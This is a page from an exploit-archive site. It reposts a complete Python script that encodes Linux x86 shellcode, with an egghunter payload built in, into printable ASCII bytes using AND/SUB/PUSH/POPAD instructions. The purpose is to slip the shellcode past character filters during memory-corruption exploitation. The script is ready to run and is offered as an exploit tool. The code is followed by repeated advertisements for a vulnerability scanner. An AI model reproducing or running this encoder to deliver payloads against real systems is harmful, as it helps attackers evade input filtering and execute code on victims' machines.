linuxx86 ascii and, sub, push, popad encoder shellcode

▸▸▸ Exploit & Vulnerability >>   shellcode exploit & linux_x86 vulnerability




linuxx86 ascii and, sub, push, popad encoder shellcode Code Code...
				
#!/usr/bin/env python3 ################################################################################ # INTRODUCTION ################################################################################ # Encoder Title: ASCII shellcode encoder via AND, SUB, PUSH, POPAD # Date: 26.6.2019 # Encoder Author: Petr Javorik, www.mmquant.net # Tested on: Linux ubuntu 3.13.0-32-generic, x86 # Special thx to: Corelanc0d3r for intro to this technique # # Description: # This encoder is based on egghunter found in https://www.exploit-db.com/exploits/5342 # Core idea is that every dword can be derived using 3 SUB instructions # with operands consisting strictly of ASCII compatible bytes. # # What it does?: # Suppose that we want to push \x05\xEB\xD1\x8B (0x8BD1EB05) to the stack. # Then we can do it as follows: # # AND EAX, 3F465456 # AND EAX, 40392B29 ; Two AND instructions zero EAX # SUB EAX, 3E716230 ; Subtracting 3 dwords consisting # SUB EAX, 5D455523 ; of ASCII compatible bytes from 0x00000000 # SUB EAX, 5E5D7722 ; we get EAX = 0x8BD1EB05 # PUSH EAX # Mandatory bytes: # \x25 AND EAX, imm32 # \x2d SUB EAX, imm32 # \x50 PUSH EAX # \x61 POPAD # How to use: # Edit the SETTINGS section and simply run as # ./ASCIIencoder # ProTip: # Take special attention to the memory between the end of decoder instructions # and the beginning of decoded shellcode. Program flow must seamlessly step over # this memory. If this "bridge memory area" contains illegal opcodes they can # be rewritten with additional PUSH instruction appended to the end of generated # shellcode. Use for example PUSH 0x41414141. ################################################################################ import itertools import struct import random import sys assert sys.version_info >= (3, 6) ################################################################################ # CONSTANTS - no changes needed here ################################################################################ # ASCII character set L_CASE = bytearray(range(0x61, 0x7b)) # abcdefghijklmnopqrstuvwxyz U_CASE = bytearray(range(0x41, 0x5b)) # ABCDEFGHIJKLMNOPQRSTUVWXYZ NUMBERS = bytearray(range(0x30, 0x3a)) # 0123456789 SPECIAL_CHARS = bytearray( itertools.chain( range(0x21, 0x30), # !"#$%&\'()*+,-. range(0x3a, 0x41), # :;<=>? range(0x5b, 0x61), # [\\]^_ range(0x7b, 0x7f) # {|} ) ) ASCII_NOPS = b'\x41\x42\x43\x44' # and many more ALL_CHARS = (L_CASE + U_CASE + NUMBERS + SPECIAL_CHARS) ################################################################################ # SETTINGS - enter shellcode, select character set and bad chars ################################################################################ input_shellcode = ( b'\x8b\xd1\xeb\x05\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e' b'\x3c\x05\x5a\x74\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf' b'\x75\xe7\xff\xe7' ) # input_charset = U_CASE + L_CASE input_charset = ALL_CHARS # badchars = b'' badchars = b'' nops = ASCII_NOPS ################################################################################ # CORE - no changes needed here ################################################################################ class ASCII_Encoder(object): def __init__(self, shellcode_, charset_, badchars_, nops_): # Constructor args self.shellcode = bytearray(shellcode_) self.charset = charset_ self.badchars = badchars_ self.nops = nops_ # Private vars self.encoded_dwords = [] self.twos_comps = [] self.sub_operands = [] self.payload = bytearray() def encode(self): self.align_to_dwords() self.remove_badchars() self.derive_dwords_sub() self.compensate_overflow() self.derived_dwords_to_sub_operands() self.twos_comp_check() self.compile_payload() def align_to_dwords(self): # Input shellcode alignment to dword multiples nop = b'\x90' pad_count = 4 - (len(self.shellcode) % 4) if 0 < pad_count < 4: self.shellcode += nop * pad_count def remove_badchars(self): for badchar in self.badchars: self.charset = self.charset.replace(bytes([badchar]), b'') self.nops = self.nops.replace(bytes([badchar]), b'') def derive_dwords_sub(self): def get_sub_encoding_bytes(target): """ target x y z 0x100 - (0x21+0x21) = 0xbe We need to select x, y, z such that it gives target when summed and all of x, y, z is ASCII and non-badchar """ # Get all possible solutions all_xy = list(itertools.combinations_with_replacement(self.charset, 2)) results = [] for x, y in all_xy: z = target - (x + y) # Get only bytes which are ASCII and non-badchar if (0 < z < 256) and (z in self.charset): results.append({ 'x': x, 'y': y, 'z': z, 'of': True if target >= 0x100 else False }) # Choose random solution return random.choice(results) for dword in struct.iter_unpack('<L', self.shellcode): # 32-bit 2's complement twos_comp = (dword[0] ^ 0xffffffff) + 1 self.twos_comps.append(twos_comp) encoded_block = [] for byte_ in struct.pack('>L', twos_comp): # Will overflow be used when calculating this byte using 3 SUB instructions? if byte_ / 3 < min(self.charset): byte_ += 0x100 encoded_block.append( get_sub_encoding_bytes(byte_)) pass self.encoded_dwords.append(encoded_block) def compensate_overflow(self): # If neighbor lower byte overflow then subtract 1 from max(x, y, z) for dword in self.encoded_dwords: for solution, next_solution in zip(dword, dword[1:]): if next_solution['of']: max_value_key = max(solution, key=solution.get) solution[max_value_key] -= 1 def derived_dwords_to_sub_operands(self): for dword in self.encoded_dwords: sub_operand_0 = struct.pack('<BBBB', *[solution['x'] for solution in dword]) sub_operand_1 = struct.pack('<BBBB', *[solution['y'] for solution in dword]) sub_operand_2 = struct.pack('<BBBB', *[solution['z'] for solution in dword]) self.sub_operands.append([ sub_operand_0, sub_operand_1, sub_operand_2 ]) def twos_comp_check(self): # Check if calculated dwords for SUB instruction give 2's complement if they are summed for twos_comp, sub_operand in zip(self.twos_comps, self.sub_operands): sup_operand_sum = sum( [int.from_bytes(dw, byteorder='big') for dw in sub_operand]) # Correction of sum if there is overflow on the highest byte if sup_operand_sum > 0xffffffff: sup_operand_sum -= 0x100000000 assert (twos_comp == sup_operand_sum) def compile_payload(self): def derive_bytes_and(): all_xy = list(itertools.combinations_with_replacement(self.charset, 2)) results = [] for x, y in all_xy: if x + y == 127: results.append((x, y)) while 1: yield random.choice(results) def derive_dwords_and(): gen_bytes = derive_bytes_and() bytes_ = [] for _ in range(0, 4): bytes_.append(next(gen_bytes)) return bytes_ # POPAD n times to adjust ESP. # Decoded shellcode must be written after the decoder stub self.payload += b'\x61' * (len(self.encoded_dwords)) for sub_operand in reversed(self.sub_operands): # Clearing EAX instructions with AND instructions bytes_ = derive_dwords_and() self.payload += b'\x25' + struct.pack('<BBBB', *[byte_[0] for byte_ in bytes_]) self.payload += b'\x25' + struct.pack('<BBBB', *[byte_[1] for byte_ in bytes_]) # Encoded shellcode with SUB instructions self.payload += b'\x2d' + sub_operand[0][::-1] self.payload += b'\x2d' + sub_operand[1][::-1] self.payload += b'\x2d' + sub_operand[2][::-1] # Push EAX self.payload += b'\x50' # Pad with NOPs self.payload += bytes(random.choices(self.nops, k=9)) def print_payload(self): print('Original payload length: {}'.format(len(input_shellcode))) print('Encoded payload length: {}'.format(len(self.payload))) print('hex: ', '\\x' + '\\x'.join('{:02x}'.format(byte) for byte in self.payload)) if __name__ == '__main__': encoder = ASCII_Encoder(input_shellcode, input_charset, badchars, nops) encoder.encode() encoder.print_payload()

Linuxx86 ascii and, sub, push, popad encoder shellcode Vulnerability / Exploit Source : Linuxx86 ascii and, sub, push, popad encoder shellcode



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.